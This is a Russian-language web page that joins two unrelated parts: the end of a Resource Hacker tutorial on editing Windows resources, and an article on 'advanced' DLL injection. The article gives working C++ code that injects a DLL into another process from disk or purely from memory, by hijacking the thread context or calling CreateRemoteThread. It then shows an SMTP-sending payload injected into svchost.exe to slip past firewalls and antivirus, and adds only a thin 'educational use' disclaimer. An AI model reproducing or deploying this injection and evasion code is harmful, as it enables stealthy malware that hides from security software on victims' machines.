MFS_DEFAULT — устанавливают наш menuitem полужирным, Вы можете также оставить данный параметр без изменений.

В принципе Вы можете отредактировать только параметры MENUITEM «ur_desired_string» и 12345, а другие параметры Resource Hacker добавит автоматически.

Итак, Вы уже научились добавлять свои собственные значки, точечные изображения, AVI, а что если Вы захотите добавить их в диалоговое окно так, чтобы они отображались, когда открывается какое-нибудь диалоговое окно (диалоговое окно запуска, диалоговое окно отражающее процесс копирования и т.д.).

1) Для начала выбираем нужное диалоговое окно, в котором Вы хотите добавить Ваш собственный ресурс, например, в файле shell32.dll — Dialog -> 1020 -> 1049.
2) Щелкните правой кнопкой мыши по диалоговому окну

P.S: Для изменения AVI (SysAnimate32), вы должны добавить # перед названием в Caption. Например, если оригинальный файл имеет название 144 AVI, то измененный файл будет иметь название #144 в строке Caption (Название).

6) Наконец нажать кнопку OK и Compile the script для того чтобы скомпилировать скрипт.
7) Вы можете изменить позицию нужных Вам ресурсов в диалоговом окне, просто перетаскивая их на нужную позицию.

Мы также можем использовать Resource Hacker из командной строки доступную через интерфейс программы, тем самым автоматизировав долговременные задачи, экономя свое время.

Вы можете использовать скрипты в 2 формах:

1) Отдельная команда
2) Многократные команды

Некоторые команды имеют следующий формат:

Здесь:

ExeFileName:
оригинальный файл, который мы хотим редактировать в Resource Hacker
ResultingFileName: название, которое мы хотим дать, когда мы сохранили файл.
ResourceAddress: адрес ресурса (например местоположение точечного рисунка на жестком диске).
ResourceType: тип ресурса (например, такие как BITMAP, AVI, и т.д.).
ResourceName: название ресурса (например, такие как 131, 1020, и т.д.).

Например: ResHacker.exe — addoverwrite explorer.exe, explorer1.exe, MyImage.bmp , bitmap, 143,

ResHacker.exe — script ScriptFileName

Здесь:
ScriptFileName — название файла скрипта, который был создан ранее в блокноте.

Формат файла скрипта:

EXE = текущее местонахождение файла
SaveAs = местонахождение файла после сохранения
Log= местоположение ЖУРНАЛА, который регистрирует все процессы.

В разделе [COMMAND] мы вводим команды, которые будут выполняться.

Усовершенствованный метод внедрения DLL

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие — язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало. Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса — это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle(«wsock32.dll»))
LoadLibrary(«wsock32.dll»);
if(!GetModuleHandle(«kernel32.dll»))
LoadLibrary(«kernel32.dll»);

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

[in] lpszProcessPath — Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory — Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе — используется аргумент lpszDllPath.


[in] lpDllBuff — Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath — Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult — Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult — Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

BOOL CInjectDllEx::InjectDllFromFile(PCHAR ModulePath)
<
#pragma pack(1)
struct
<
BYTE PushCommand;
DWORD PushArgument;
WORD CallCommand;
DWORD CallAddr;
BYTE PushExitThread;
DWORD ExitThreadArg;
WORD CallExitThread;
DWORD CallExitThreadAddr;
LPVOID AddrLoadLibrary;
LPVOID AddrExitThread;
CHAR LibraryName[MAX_PATH + 1];
>Inject;
#pragma pack()

LPVO > MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
// Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle(«kernel32.dll»);
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,»LoadLibraryA»);
Inject.AddrExitThread = GetProcAddress(hKernel32,»ExitThread»);
lstrcpy(Inject.LibraryName,ModulePath);
// Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);

// Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
<
// Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
<
// Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
>
>
if(!bResumed)
<
// Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
>
return TRUE;
>

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

BOOL CInjectDllEx::InjectDllFromMemory(LPVOID Src)
<
#ifndef NDEBUG
return FALSE;
#endif
ImageNtHeaders = PIMAGE_NT_HEADERS(DWORD(Src) + DWORD(PIMAGE_DOS_HEADER(Src)->e_lfanew));
DWORD Offset = 0x10000000;
LPVOID pModule;
do
<
Offset += 0x10000;
pModule = VirtualAlloc(LPVOID(ImageNtHeaders->OptionalHeader.ImageBase +
Offset),ImageNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(pModule)
<
VirtualFree(pModule,0,MEM_RELEASE);
pModule = VirtualAllocEx(Process,LPVOID(ImageNtHeaders->OptionalHeader.ImageBase +
Offset),ImageNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
>
>while(!(pModule || Offset > 0x30000000));

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
<
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
>
return FALSE;
>

Src — адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

Приведем код, позволяющий отправить сообщение по
e-mail. Этот код содержится в DLL.

// Уменьшаем размер библиотеки
#ifdef NDEBUG
#pragma optimize(«gsy»,on)
#pragma comment(linker,»/IGNORE:4078″)
#pragma comment(linker,»/RELEASE»)
#pragma comment(linker,»/merge:.rdata=.data»)
#pragma comment(linker,»/merge:.text=.data»)
#pragma comment(linker,»/merge:.reloc=.data»)
#if _MSC_VER >= 1000
#pragma comment(linker,»/FILEALIGN:0x200″)
#endif
#pragma comment(linker,»/entry:DllMain»)
#endif

// Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
<
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
>

// Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
<
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
>

// Адрес получателя
LPCTSTR lpszRecipientAddress = «crash86@mail.ru»;

// Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
<
if(!GetModuleHandle(«wsock32.dll»))
LoadLibrary(«wsock32.dll»);
if(!GetModuleHandle(«kernel32.dll»))
LoadLibrary(«kernel32.dll»);

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
<
WSACleanup();
ExitProcess(FALSE);
>

PHOSTENT pHostEnt = gethostbyname(«smtp.mail.ru»);
if(!pHostEnt)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = «»;
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,»helo friend\r\n»);
// Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Говорим, от кого письмо
SendRequest(s,»mail from: \r\n»);
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,»rcpt to: \r\n»);
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,»data\r\n»);
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле «Куда»
lstrcpy(tszRequestAnswer,»To: «);
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,»\r\n»);
SendRequest(s,tszRequestAnswer);

// Заполняем поле «От кого»
SendRequest(s,»From: crash86@mail.ru\r\n»);

// Тема сообщения
SendRequest(s,»Subject: Test from the article\r\n»);
SendRequest(s,»Content-Type: text/plain;\r\n charset=\»Windows-1251\»;\r\n\r\n»);

// Содержимое сообщения
SendRequest(s,»This is a test message from the article!\r\n\r\n»);
SendRequest(s,»http://hackstock2.narod.ru/\r\n»);
SendRequest(s,»mailto:crash86@mail.ru»);

// Завершаем передачу
SendRequest(s,»\r\n.\r\n»);
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,»quit\r\n»);
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
>

Как видно из кода, сообщение отправляется SMTP-серверу smtp.mail.ru через 25-ый порт (стандартный порт отправки сообщений) с адреса crash86@mail.ru (т.е. с моего:)). Адрес получателя указан в константе lpszRecipientAddress. Полный рабочий код Вы найдете в приложениях к статье.

Внедрив данный код в один из доверенных процессов, фаерволл обнаружит факт того, что сообщение отправлено, но не выдаст никаких предупреждений. Чаще всего доверенным фаерволлу процессом является стандартный системный процесс svchost.exe. Его мы и используем:

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
<
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,»Отправка почты с помощью DLL на диске. «,»TestExe»,MB_ICONINFORMATION);
cide.StartAndInject(«svchost.exe», FALSE,NULL, «SendMailDll.dll»,TRUE,&dwResult);
if(dwResult)
MessageBox(0,»Почта отправлена! :)», «TestExe»,MB_ICONINFORMATION);
else
MessageBox(0,»Почта не отправлена :(«, «TestExe»,MB_ICONERROR);

MessageBox(0,»Отправка почты с помощью DLL в памяти. «,
«TestExe»,MB_ICONINFORMATION);
cide.StartAndInject(«svchost.exe»,TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), «DLL»))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,»Почта отправлена! :)», «TestExe»,MB_ICONINFORMATION);
else
MessageBox(0,»Почта не отправлена :(«, «TestExe»,MB_ICONERROR);
return 0;
>

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.

Илон Маск рекомендует:  Элемент nav
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL